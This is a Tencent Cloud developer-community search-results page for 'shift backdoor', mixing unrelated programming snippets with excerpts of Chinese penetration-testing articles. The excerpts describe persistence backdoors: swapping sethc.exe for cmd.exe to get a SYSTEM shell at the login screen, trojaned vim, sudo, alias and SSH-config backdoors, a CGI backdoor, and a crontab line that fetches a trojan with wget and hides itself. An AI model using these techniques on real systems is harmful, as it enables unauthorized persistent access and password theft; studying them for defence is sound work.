Shift后门 - 腾讯云开发者社区

文章/答案/技术大牛

发布

初学渗透之shift后门

后门原理利用电脑连续按5次Shift会触发粘滞键，它会运行c:\winows\system32\sethc.exe，然后我们把c:\winows\system32\cmd.exe复制一份，改名成sethc.exe...然后我们按5次shift就会触发cmd，在用户登陆界面也可以使用的。这是一个很古老的后门了，但是用处还是很大的。后门截图到了这里就不用我多说了吧，执行添加用户命令就可以了。

1.1K2 0

权限维持之shift后门

原理利用连按5下Shift漏洞破解win7开机密码。将c:windows/system32/sethc.exe替换为cmd.exe文件，达到新增用户、修改账号密码的的目的。...环境准备实验主机：Windows7旗舰版（无任何杀软） 3. shift后门复现 3.1测试是否存在粘滞键在正常登录的Windows7用户桌面连续摁5次shift键，看是否有粘滞键提示弹出：此时有弹出...Windows->system32->sethc.exe文件将该文件重新命名：再找到该目录下的cmd.exe，将该文件复制后修改为sethc.exe 重启机器： 3.4 添加新用户重启之后，使用5次shift

1.7K2 0

您找到你想要的搜索结果了吗？

是的

没有找到

《老漏洞复现与分析篇》 - 其一 - shift后门

0x01 shift后门说到这个东西就先提一下它的来源——Windows粘滞键 Windows粘滞键本身是为了不方便同时按组合键的人群使用的功能，在连按5次shift键后打开粘滞键，也就是启动了system32...目录下的sethc.exe 在登入状态中，连按5次shift会以当前用户权限执行sethc.exe，而在登录界面还未登录时会默认以system用户（管理员权限）执行。...0x02 原理原理也很简单，连按5次shift，windows会在system32目录下寻找sethc.exe并启动，我们只需要把cmd或者其他的shell程序替换掉，那么我们启动sethc.exe的时候就会默认以...windows\system32\dllcache\sethc.exe +h 我这里拿虚拟机做个演示，先打开3389端口然后复制cmd到system32目录下并且命名sethc.exe，或者可以下载更隐藏的后门软件...，我这里用的是黑基2012的后门，隐蔽性更高替换成功接下来我们用主机连接远程桌面试试启动成功，并且为system权限因为远程桌面存在时间限制自动断开连接，所以需要尽快添加用户

1.2K2 0

JavaScript shift() 方法

JavaScript 中数组Array的shift() 方法 JavaScript Array 对象定义和用法 shift() 方法用于把数组的第一个元素从其中删除，并返回第一个元素的值。...语法 arrayObject.shift() 返回值数组原来的第一个元素的值。说明如果数组是空的，那么 shift() 方法将不进行任何操作，返回 undefined 值。

1.4K7 0

array_shift() 函数

php $a=array("a"=>"red","b"=>"green","c"=>"blue"); echo array_shift($a); print_r ($a); ?...> 定义和用法 array_shift() 函数删除数组中第一个元素，并返回被删除元素的值。注释：如果键名是数字的，所有元素都会获得新的键名，从 0 开始，并以 1 递增。...语法 array_shift(array) 参数描述 array 必需。规定数组。技术细节返回值：返回从数组中删除元素的值，如果数组为空则返回 NULL。 PHP 版本： 4+

9132 0

PHP array_shift() 函数

php $a=array("a"=>"red","b"=>"green","c"=>"blue"); echo array_shift($a); print_r ($a); ?...> 定义和用法 array_shift() 函数删除数组中第一个元素，并返回被删除元素的值。注释：如果键名是数字的，所有元素都会获得新的键名，从 0 开始，并以 1 递增（参见下面例子）。...语法 array_shift(array) 参数描述 array 必需。规定数组。技术细节返回值：返回从数组中删除元素的值，如果数组为空则返回 NULL。...php $a=array(0=>"red",1=>"green",2=>"blue"); echo array_shift($a); print_r ($a); ?>

9650 0

Vim 后门 | Linux 后门系列

(maparg(a:name, mode)) return 1 endif endfor return 0 endfunction " Make shift-insert...:help autocmd-events 0x03 vim 后门说明 vim 软件成熟度比较高，功能较为复杂，因此可以用来做后门的内容肯定很多，作为一个 vim 用户，我对于 vim 的了解也比较有限...，相信在以后还会对现在写的后门手法进行补充 0x04 vim 自身文件后门这类后门比较简单粗暴，直接替换相关文件，暂时未发现 vim 存在自身使用的 .so 共享库文件，因此本章节以直接替换命令本身为例...制作后门文件 1) 下载源代码在相同版本的 Linux 主机 B 上下载相同版本 vim 源代码在主机B上编辑更新源，取消 deb-src 的注释在主机 B 上下载 vim 源代码（可以指定版本...成功创建了有效的带有后门，且功能正常的 vim 3) 用后门vim替换 /usr/bin/vim 4) 模拟正常使用vim触发后门成功触发后门 5) 小结几乎每一种后门都可以用这样的方法

2K5 1

vim 后门 | Linux 后门系列

$(nohup vim -E -c "py3file demo.py"> /dev/null 2>&1 &) && sleep 2 && rm -f demo....

2K2 0

sudo 后门｜Linux 后门系列

sudo 经常被用来将普通用户权限提升至 root 权限，代替 root 执行部分程序来管理 Linux 系统，这样避免 root 密码被泄漏这篇文章介绍了三种利用其留后门的方法，其中也涉及一个sudo...有趣的特性，在极端条件下可能是系统的薄弱点;同时涉及一个没什么人关注的小知识点 sudo 配置后门 sudoedit 文件所有者后门 sudo plugin 后门这篇文章以 Ubuntu Server...22.10 为例 0x01 sudo 配置后门 1) 简介通常的应用场景中，配置 sudo 主要是用来赋予某个用户或者用户组能够以 root(或其他用户) 的身份(以及权限)执行部分(或全部) 程序...空白文件名文件 + alias 劫持的方法来隐藏新建文件有时候也没必要新建用户，可以尝试开启那些系统用户试试，或许有惊喜也说不定，但是这种操作一定要提前试一试 0x02 sudoedit 文件所有者后门...这个后门更偏向于一个概念性的后门，以趣味性为主吧前段时间复现 CVE-2023-22809 的时候关注到 sudoedit (sudo -e) 这个程序，这个程序用来让可以sudo的用户通过 sudoedit

2.9K1 0

Shift-Invariant论文笔记

ICML 2019 Making Convolutional Networks Shift-Invariant Again ICML 2019 Making Convolutional Networks...Shift-Invariant Again 什么是平移等方差（Shift-equivariance）？...答：\(Shift _{\Delta h, \Delta w}(\widetilde{\mathcal{F}}(X))=\widetilde{\mathcal{F}}\left(\text { Shift...什么是平移不变性（Shift-invariance）？...答：\(\widetilde{\mathcal{F}}(X)=\widetilde{\mathcal{F}}\left(\text { Shift }_{\Delta h, \Delta w}(X)\right

1.8K2 0

alias后门 | Linux 后门系列

%h%m%s'`.log -e read,write,connect -s2048 ssh' 上面是我搜索了10多篇文章，发现的同一条后门命令，既然有前辈写了，咱们就分析分析上面后门中，其实 alias...可以看到我们之前提交的数据，同时呢，这个文件返回的内容也比较多，只要改一个好点的名字可能会让安全管理人员认为是正常的文件这种后门的场景就是用户登录到这台主机上后，使用这台主机的ssh去远程连接其他主机才能引发后门...，记录明文密码，这局限性太大了，顶多可以作为一个后门辅助。...经过我的一番寻找，加上自己所剩无几的经验，终于找到了一个目录 /etc/update-manager/ ,这个目录我跟你说，我一眼就相中了，这简直就是为后门设计的呀 ?...后门 ?

8.9K3 0

C++23：ranges::iota、ranges::shift_left和ranges::shift_right详解

其中，ranges::iota、ranges::shift_left与ranges::shift_right这三个无约束算法的范围化版本（P2440R1）为处理序列数据提供了更加便捷和高效的方式。...ranges::shift_left定义与功能ranges::shift_left是一个用于将范围中的元素向左移动指定位置的算法。...ranges::shift_right定义与功能ranges::shift_right与ranges::shift_left相反，它用于将范围中的元素向右移动指定位置。...使用场景ranges::shift_right同样适用于需要对序列进行循环移位的场景，只是方向相反。...总结C++23中的ranges::iota、ranges::shift_left与ranges::shift_right这三个无约束算法的范围化版本为开发者提供了更加强大、便捷和高效的序列处理能力。

6050 0

array_shift() 函数

1.1K6 0

IDEA取消双击Shift

IDEA取消双击Shift 取消双击Shift全局搜索：打开setting：

6621 0

SSH Config 后门｜ Linux 后门系列

Ubuntu server 16.04 默认 /etc/ssh/ssh_config

8.7K4 0

P3516 PRZ-Shift

P3516 [POI2011]PRZ-Shift Description 题目链接：P3516 给定一个长度为 n 的排列，有两种操作： (a) 将最后一个数移到最前面。

1.7K1 0

The Big Shift In Blockchain Technology And Its Consequences

For clarity, the big shift in Blockchain Technology encompasses the movement from traditional Blockchain...The biggest and basic shift for Blockchain in 2020, we all know is the movement from traditional Blockchain

7031 0

计划任务后门 | Linux 后门系列

3 * * * rm -r /home/xxxx/test/* 每隔10分钟下载一下我们的木马 */10 * * * * wget http://www.test.com/muma.exe 0x05 后门利用...0x06 巧用计划任务留后门 (crontab -l;printf "*/1 * * * * /home/helper/1.sh;\rno crontab for `whoami`%100c\n")|crontab

8.1K5 0

CGI后门

cd /tmp mkdir cgi-bin echo '#!/bin/bash' > ./cgi-bin/backdoor.cgi echo 'echo -e ...

2.2K4 0

精读《ObjectEntries, Shift, Reverse...》

: [K, RemoveUndefined] }[keyof T] Shift 实现 TS 版 Array.shift： type Result = Shift //...[2, 1] 这道题应该是简单难度的，只要把第一项抛弃即可，利用 infer 轻松实现： // 本题答案 type Shift = T extends [infer First, ...infer...讨论地址是：精读《ObjectEntries, Shift, Reverse...》· Issue #431 · dt-fe/weekly 如果你想参与讨论，请点击这里，每周都有新的主题，周末或周一发布

8542 0

点击加载更多

初学渗透之shift后门

权限维持之shift后门

《老漏洞复现与分析篇》 - 其一 - shift后门

JavaScript shift() 方法

array_shift() 函数

PHP array_shift() 函数

Vim 后门 | Linux 后门系列

vim 后门 | Linux 后门系列

sudo 后门｜Linux 后门系列

Shift-Invariant论文笔记

alias后门 | Linux 后门系列

C++23：ranges::iota、ranges::shift_left和ranges::shift_right详解

array_shift() 函数

IDEA取消双击Shift

SSH Config 后门｜ Linux 后门系列

P3516 PRZ-Shift

The Big Shift In Blockchain Technology And Its Consequences

计划任务后门 | Linux 后门系列

CGI后门

精读《ObjectEntries, Shift, Reverse...》

相关资讯

热门标签

活动推荐

运营活动

社区

活动

圈层

关于

腾讯云开发者

热门产品

热门推荐

更多推荐